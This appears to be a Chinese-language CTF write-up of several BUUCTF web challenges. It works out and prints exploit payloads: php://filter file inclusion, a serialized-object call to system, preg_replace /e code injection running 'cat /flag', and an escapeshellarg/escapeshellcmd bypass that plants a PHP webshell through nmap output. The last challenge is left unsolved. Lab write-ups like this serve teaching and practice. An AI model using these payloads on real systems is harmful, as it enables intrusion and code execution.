BUUCTF-WEB(36-40)
[BSidesCF 2020]Had a bad day
参考:
[BUUCTF:BSidesCF 2020]Had a bad day_末初的技术博客_51CTO博客
[buuctf-BSidesCF 2020]Had a bad day(小宇特详解)-CSDN博客
应该是文件包含
我这里使用;1,然后报错,我发现他是直接会加上一个.php,那我们试试伪协议读取
?category=php://filter/read=convert.base64-encode/resource=index
base64解码出
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
这个代码里面必须含有 woofers,meowers, index
然后我们就试着包含一下flag
?category=meowers/../flag
发现源码多了
那接下来我们就是读取,仍旧使用php://
php://filter/read=convert.base64-encode/woofers/resource=flag
解码得到
[网鼎杯 2020 朱雀组]phpweb
参考:
抓包发现还穿了这两个参数
然后发现是call_user_func()函数去命令执行
我们可以输入
func=file_get_contents&p=index.php
去看这个代码的文件
可以构造反序列化
然后payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
然后根目录也找不到flag,我们就用find,这里要url编码,然后用get传输,防止一些字符没用成功输入进去
<?php
class Test {
var $p = "find / -name flag*";
var $func = system;
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:17:"find -name /flag*";s:4:"func";s:6:"system";}
最后查看flag的payload如下:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
[BJDCTF2020]ZJCTF,不过如此
参考:
PHP正则表达式的逆向引用与子模式分析_php正则表达式 用子模式分组模式-CSDN博客
[BJDCTF2020]ZJCTF,不过如此 - L0VEhzzz - 博客园 (cnblogs.com)
[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此1-CSDN博客
[BJDCTF2020]ZJCTF,不过如此 - LLeaves - 博客园 (cnblogs.com)
点开就是代码
我们分析一下,我们需要传入两个参数 一个 text 一个 file
file_get_contents去读取文件内容,它需要等于I have a dream,我们就自己写入这句话,用data://text/plain
然后file应该去读取next.php源码,这里我是用的是php://filter
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
然后获得了next.php的源代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
到这里的话也是gg不会了
存在漏洞的地方就是在preg_replace的/e模式下,他会把第二个参数作为php代码执行
了解一下反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
然后就是用\S*={getFlag()}然后配上命令执行
/?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');
[BUUCTF 2018]Online Tool
参考:
[BUUCTF 2018]Online Tool - My_Dreams - 博客园 (cnblogs.com)
[buuctf-BUUCTF 2018]Online Tool(小宇特详解)_[buuctf 2018]online tool 1 php rce-CSDN博客
[BUUBUUCTF 2018]Online Tool - 哔哩哔哩 (bilibili.com)
这边了解一下escapeshellarg()以及escapeshellcmd()
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
?host=' <?php echo `cat /flag`;?> -oG test.php '
访问这个Starting前面这个/test.php
[GXYCTF2019]禁止套娃
开局就是天崩,没啥东西
dirsearch扫了一下也是没发现什么东西
有可能是git泄露,用githack试试
然后我这也扫描不到,挺奇怪的,这道题放一放